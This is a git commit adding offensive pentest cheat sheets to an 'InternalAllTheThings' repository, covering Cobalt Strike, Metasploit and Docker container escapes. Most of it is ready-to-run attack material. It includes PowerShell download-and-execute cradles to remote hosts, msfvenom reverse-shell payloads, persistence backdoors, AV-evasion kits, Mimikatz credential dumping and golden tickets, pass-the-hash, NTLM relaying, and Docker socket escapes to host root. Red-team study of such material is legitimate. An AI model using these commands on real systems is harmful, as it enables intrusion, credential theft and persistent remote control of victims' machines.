PATT Migration - v0.1

pull/1/head
Swissky 2023-11-17 12:56:44 +01:00
parent 389a3206f5
commit 53dd66c6e3
40 changed files with 19039 additions and 2 deletions

View File

@ -1 +1,20 @@
# Welcome
# InternalAllTheThings
Active Directory and Internal Pentest Cheatsheets
<p align="center">
<img src="https://raw.githubusercontent.com/swisskyrepo/InternalAllTheThings/master/assets/banner.png">
</p>
📖 Documentation
-----
TODO
👨‍💻 Contributions
-----
TODO

File diff suppressed because it is too large Load Diff

View File

@ -1 +0,0 @@
TEST C

File diff suppressed because it is too large Load Diff

1
docs/cloud/aws/todo.md Normal file
View File

@ -0,0 +1 @@
TODO

File diff suppressed because it is too large Load Diff

View File

View File

@ -0,0 +1,491 @@
# Cobalt Strike
> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
```powershell
$ sudo apt-get update
$ sudo apt-get install openjdk-11-jdk
$ sudo apt install proxychains socat
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
$ ./cobaltstrike
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
```
## Summary
* [Infrastructure](#infrastructure)
* [Redirectors](#redirectors)
* [Domain fronting](#domain-fronting)
* [OpSec](#opsec)
* [Customer ID](#customer-id)
* [Payloads](#payloads)
* [DNS Beacon](#dns-beacon)
* [SMB Beacon](#smb-beacon)
* [Metasploit compatibility](#metasploit-compatibility)
* [Custom Payloads](#custom-payloads)
* [Malleable C2](#malleable-c2)
* [Files](#files)
* [Powershell and .NET](#powershell-and-net)
* [Powershell commabds](#powershell-commands)
* [.NET remote execution](#net-remote-execution)
* [Lateral Movement](#lateral-movement)
* [VPN & Pivots](#vpn--pivots)
* [Kits](#kits)
* [Elevate Kit](#elevate-kit)
* [Persistence Kit](#persistence-kit)
* [Resource Kit](#resource-kit)
* [Artifact Kit](#artifact-kit)
* [Mimikatz Kit](#mimikatz-kit)
* [Sleep Mask Kit](#sleep-mask-kit)
* [Thread Stack Spoofer](#thread-stack-spoofer)
* [Beacon Object Files](#beacon-object-files)
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
* [References](#references)
## Infrastructure
### Redirectors
```powershell
sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
```
### Domain Fronting
* New Listener > HTTP Host Header
* Choose a domain in "Finance & Healthcare" sector
## OpSec
**Don't**
* Use default self-signed HTTPS certificate
* Use default port (50050)
* Use 0.0.0.0 DNS response
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
**Do**
* Use a redirector (Apache, CDN, ...)
* Firewall to only accept HTTP/S from the redirectors
* Firewall 50050 and access via SSH tunnel
* Edit default HTTP 404 page and Content type: text/plain
* No staging `set hosts_stage` to `false` in Malleable C2
* Use Malleable Profile to taylor your attack to specific actors
### Customer ID
> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.
* The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
* The trial has a Customer ID value of 0.
* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
## Payloads
### DNS Beacon
* Edit the Zone File for the domain
* Create an A record for Cobalt Strike system
* Create an NS record that points to FQDN of your Cobalt Strike system
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
* nslookup jibberish.beacon polling.campaigns.domain.com
* nslookup jibberish.beacon campaigns.domain.com
Example of DNS on Digital Ocean:
```powershell
NS example.com directs to 10.10.10.10. 86400
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
A campaigns.example.com directs to 10.10.10.10 3600
```
```powershell
systemctl disable systemd-resolved
systemctl stop systemd-resolved
rm /etc/resolv.conf
echo "nameserver 8.8.8.8" > /etc/resolv.conf
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
```
Configuration:
1. **host**: campaigns.domain.com
2. **beacon**: polling.campaigns.domain.com
3. Interact with a beacon, and `sleep 0`
### SMB Beacon
```powershell
link [host] [pipename]
connect [host] [port]
unlink [host] [PID]
jump [exec] [host] [pipe]
```
SMB Beacon uses Named Pipes. You might encounter these error code while running it.
| Error Code | Meaning | Description |
|------------|----------------------|----------------------------------------------------|
| 2 | File Not Found | There is no beacon for you to link to |
| 5 | Access is denied | Invalid credentials or you don't have permission |
| 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. |
### SSH Beacon
```powershell
# deploy a beacon
beacon> help ssh
Use: ssh [target:port] [user] [pass]
Spawn an SSH client and attempt to login to the specified target
beacon> help ssh-key
Use: ssh [target:port] [user] [/path/to/key.pem]
Spawn an SSH client and attempt to login to the specified target
# beacon's commands
upload Upload a file
download Download a file
socks Start SOCKS4a server to relay traffic
sudo Run a command via sudo
rportfwd Setup a reverse port forward
shell Execute a command via the shell
```
### Metasploit compatibility
* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
* Set LHOST and LPORT to the beacon
* Set DisablePayloadHandler to True
* Set PrependMigrate to True
* exploit -j
### Custom Payloads
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
```powershell
* Attacks > Packages > Payload Generator
* Attacks > Packages > Scripted Web Delivery (S)
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
```
## Malleable C2
List of Malleable Profiles hosted on Github
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
Example of syntax
```powershell
set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
prepend "This is an example;";
# Escape Double quotes
append "here is \"some\" stuff";
# Escape Backslashes
append "more \\ stuff";
# Some special characters do not need escaping
prepend "!@#$%^&*()";
```
Check a profile with `./c2lint`.
* A result of 0 is returned if c2lint completes with no errors
* A result of 1 is returned if c2lint completes with only warnings
* A result of 2 is returned if c2lint completes with only errors
* A result of 3 is returned if c2lint completes with both errors and warning
## Files
```powershell
# List the file on the specified directory
beacon > ls <C:\Path>
# Change into the specified working directory
beacon > cd [directory]
# Delete a file\folder
beacon > rm [file\folder]
# File copy
beacon > cp [src] [dest]
# Download a file from the path on the Beacon host
beacon > download [C:\filePath]
# Lists downloads in progress
beacon > downloads
# Cancel a download currently in progress
beacon > cancel [*file*]
# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
```
## Powershell and .NET
### Powershell commands
```powershell
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
beacon > powershell-import [/path/to/script.ps1]
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
beacon > powershell [commandlet][arguments]
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
beacon > psinject [pid][arch] [commandlet] [arguments]
```
### .NET remote execution
Run a local .NET executable as a Beacon post-exploitation job.
Require:
* Binaries compiled with the "Any CPU" configuration.
```powershell
beacon > execute-assembly [/path/to/script.exe] [arguments]
beacon > execute-assembly /home/audit/Rubeus.exe
[*] Tasked beacon to run .NET program: Rubeus.exe
[+] host called home, sent: 318507 bytes
[+] received output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
```
## Lateral Movement
:warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe
- **portscan:** Performs a portscan on a specific target.
- **runas:** A wrapper of runas.exe, using credentials you can run a command as another user.
- **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \
:exclamation: This module needs Administrator privileges.
- **steal_token:** Steal a token from a specified process.
- **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
- **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \
:exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \
:muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network.
- **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \
:exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target.
- **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts.
:warning: All the commands launch powershell.exe
```powershell
Beacon Remote Exploits
======================
jump [module] [target] [listener]
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
Beacon Remote Execute Methods
=============================
remote-exec [module] [target] [command]
Methods Description
------- -----------
psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wmi Remote execute via WMI (PowerShell)
```
Opsec safe Pass-the-Hash:
1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
2. `steal_token PID`
### Assume Control of Artifact
* Use `link` to connect to SMB Beacon
* Use `connect` to connect to TCP Beacon
## VPN & Pivots
:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
```powershell
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
beacon > socks [PORT]
beacon > socks [port]
beacon > socks [port] [socks4]
beacon > socks [port] [socks5]
beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password]
beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] [enableLogging|disableLogging]
# Proxy browser traffic through a specified Internet Explorer process.
beacon > browserpivot [pid] [x86|x64]
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]
# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin
# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
# then you can handle the connect back on your MSF multi handler
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
```
## Kits
* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
### Elevate Kit
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
```powershell
beacon> runasadmin
Beacon Command Elevators
========================
Exploit Description
------- -----------
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
svc-exe Get SYSTEM via an executable run as a service
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
uac-token-duplication Bypass UAC with Token Duplication
```
### Persistence Kit
* https://github.com/0xthirteen/MoveKit
* https://github.com/fireeye/SharPersist
```powershell
# List persistences
SharPersist -t schtaskbackdoor -m list
SharPersist -t startupfolder -m list
SharPersist -t schtask -m list
# Add a persistence
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
SharPersist -t service -n "Some Service" -m remove
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
SharPersist -t schtask -n "Some Task" -m remove
```
### Resource Kit
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
### Artifact Kit
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
- Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)`
- Install the dependencies : `sudo apt-get install mingw-w64`
- Edit the Artifact code
* Change pipename strings
* Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
* Change Import
- Build the Artifact
- Cobalt Strike -> Script Manager > Load .cna
### Mimikatz Kit
* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
* Load the mimikatz.cna aggressor script
* Use mimikatz functions as normal
### Sleep Mask Kit
> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
### Thread Stack Spoofer
> An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`.
## Beacon Object Files
> A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs
Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h
* Compile
```ps1
# To compile this with Visual Studio:
cl.exe /c /GS- hello.c /Fohello.o
# To compile this with x86 MinGW:
i686-w64-mingw32-gcc -c hello.c -o hello.o
# To compile this with x64 MinGW:
x86_64-w64-mingw32-gcc -c hello.c -o hello.o
```
* Execute: `inline-execute /path/to/hello.o`
## NTLM Relaying via Cobalt Strike
```powershell
beacon> socks 1080
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
beacon> rportfwd_local 8445 <IP_KALI> 445
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445
```
## References
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
* [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf)

View File

@ -0,0 +1,234 @@
# Metasploit
## Summary
* [Installation](#installation)
* [Sessions](#sessions)
* [Background handler](#background-handler)
* [Meterpreter - Basic](#meterpreter---basic)
* [Generate a meterpreter](#generate-a-meterpreter)
* [Meterpreter Webdelivery](#meterpreter-webdelivery)
* [Get System](#get-system)
* [Persistence Startup](#persistence-startup)
* [Network Monitoring](#network-monitoring)
* [Portforward](#portforward)
* [Upload / Download](#upload---download)
* [Execute from Memory](#execute-from-memory)
* [Mimikatz](#mimikatz)
* [Pass the Hash - PSExec](#pass-the-hash---psexec)
* [Use SOCKS Proxy](#use-socks-proxy)
* [Scripting Metasploit](#scripting-metasploit)
* [Multiple transports](#multiple-transports)
* [Best of - Exploits](#best-of---exploits)
* [References](#references)
## Installation
```powershell
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
```
## Sessions
```powershell
CTRL+Z -> Session in Background
sessions -> List sessions
sessions -i session_number -> Interact with Session with id
sessions -u session_number -> Upgrade session to a meterpreter
sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter
sessions -c cmd -> Execute a command on several sessions
sessions -i 10-20 -c "id" -> Execute a command on several sessions
```
## Background handler
ExitOnSession : the handler will not exit if the meterpreter dies.
```powershell
screen -dRR
sudo msfconsole
use exploit/multi/handler
set PAYLOAD generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
generate -o /tmp/meterpreter.exe -f exe
to_handler
[ctrl+a] + [d]
```
## Meterpreter - Basic
### Generate a meterpreter
```powershell
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war
$ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl
```
### Meterpreter Webdelivery
Set up a Powershell web delivery listening on port 8080.
```powershell
use exploit/multi/script/web_delivery
set TARGET 2
set payload windows/x64/meterpreter/reverse_http
set LHOST 10.0.0.1
set LPORT 4444
run
```
```powershell
powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB');
```
### Get System
```powershell
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
### Persistence Startup
```powershell
OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
meterpreter > run persistence -U -p 4242
```
### Network Monitoring
```powershell
# list interfaces
run packetrecorder -li
# record interface n°1
run packetrecorder -i 1
```
### Portforward
```powershell
portfwd add -l 7777 -r 172.17.0.2 -p 3006
```
### Upload / Download
```powershell
upload /path/in/hdd/payload.exe exploit.exe
download /path/in/victim
```
### Execute from Memory
```powershell
execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w
```
### Mimikatz
```powershell
load mimikatz
mimikatz_command -f version
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::wdigest
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f sekurlsa::logonPasswords full
```
```powershell
load kiwi
creds_all
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
```
### Pass the Hash - PSExec
```powershell
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > exploit
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username
SMBUser Lambda no The username to authenticate as
```
### Use SOCKS Proxy
```powershell
setg Proxies socks4:127.0.0.1:1080
```
## Scripting Metasploit
Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`.
Here is a simple example to script the deployment of a handler an create an Office doc with macro.
```powershell
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 4646
set ExitOnSession false
exploit -j -z
use exploit/multi/fileformat/office_word_macro
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.10.14.22
set LPORT 4646
exploit
```
## Multiple transports
```powershell
msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe
```
Then, in AddTransports.ps1
```powershell
Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30
Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30
```
## Best of - Exploits
* MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue`
* MS08_67 - `exploit/windows/smb/ms08_067_netapi`
## References
* [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/)
* [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331)

View File

@ -0,0 +1,250 @@
# Container - Docker
> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.
## Summary
- [Tools](#tools)
- [Mounted Docker Socket](#mounted-docker-socket)
- [Open Docker API Port](#open-docker-api-port)
- [Insecure Docker Registry](#insecure-docker-registry)
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
- [Abusing CAP_SYS_ADMIN capability](#abusing-capsysadmin-capability)
- [Abusing coredumps and core_pattern](#abusing-coredumps-and-corepattern)
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
- [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file)
- [References](#references)
## Tools
* [Dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations
```powershell
dockscan unix:///var/run/docker.sock
dockscan -r html -o myreport -v tcp://example.com:5422
```
* [DeepCe](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
```powershell
./deepce.sh
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
```
## Mounted Docker Socket
Prerequisite:
* Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`
Usually found in `/var/run/docker.sock`, for example for Portainer.
```powershell
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
```
Exploit using [brompwnie/ed](https://github.com/brompwnie/ed)
```powershell
root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn: /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```
## Open Docker API Port
Prerequisite:
* Docker runned with `-H tcp://0.0.0.0:XXXX`
```powershell
$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open docker Docker 19.03.5
| docker-version:
| Version: 19.03.5
| MinAPIVersion: 1.12
```
Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.
```powershell
$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash
or
$ docker -H open.docker.socket:2375 ps
$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash
or
$ curl -s insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
```
From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.
## Insecure Docker Registry
Docker Registrys fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.
```powershell
curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>
# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
```
Access a private registry and start a container with one of its image
```powershell
docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash
```
Access a private registry using OAuth Token from Google
```powershell
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
```
## Exploit privileged container abusing the Linux cgroup v1
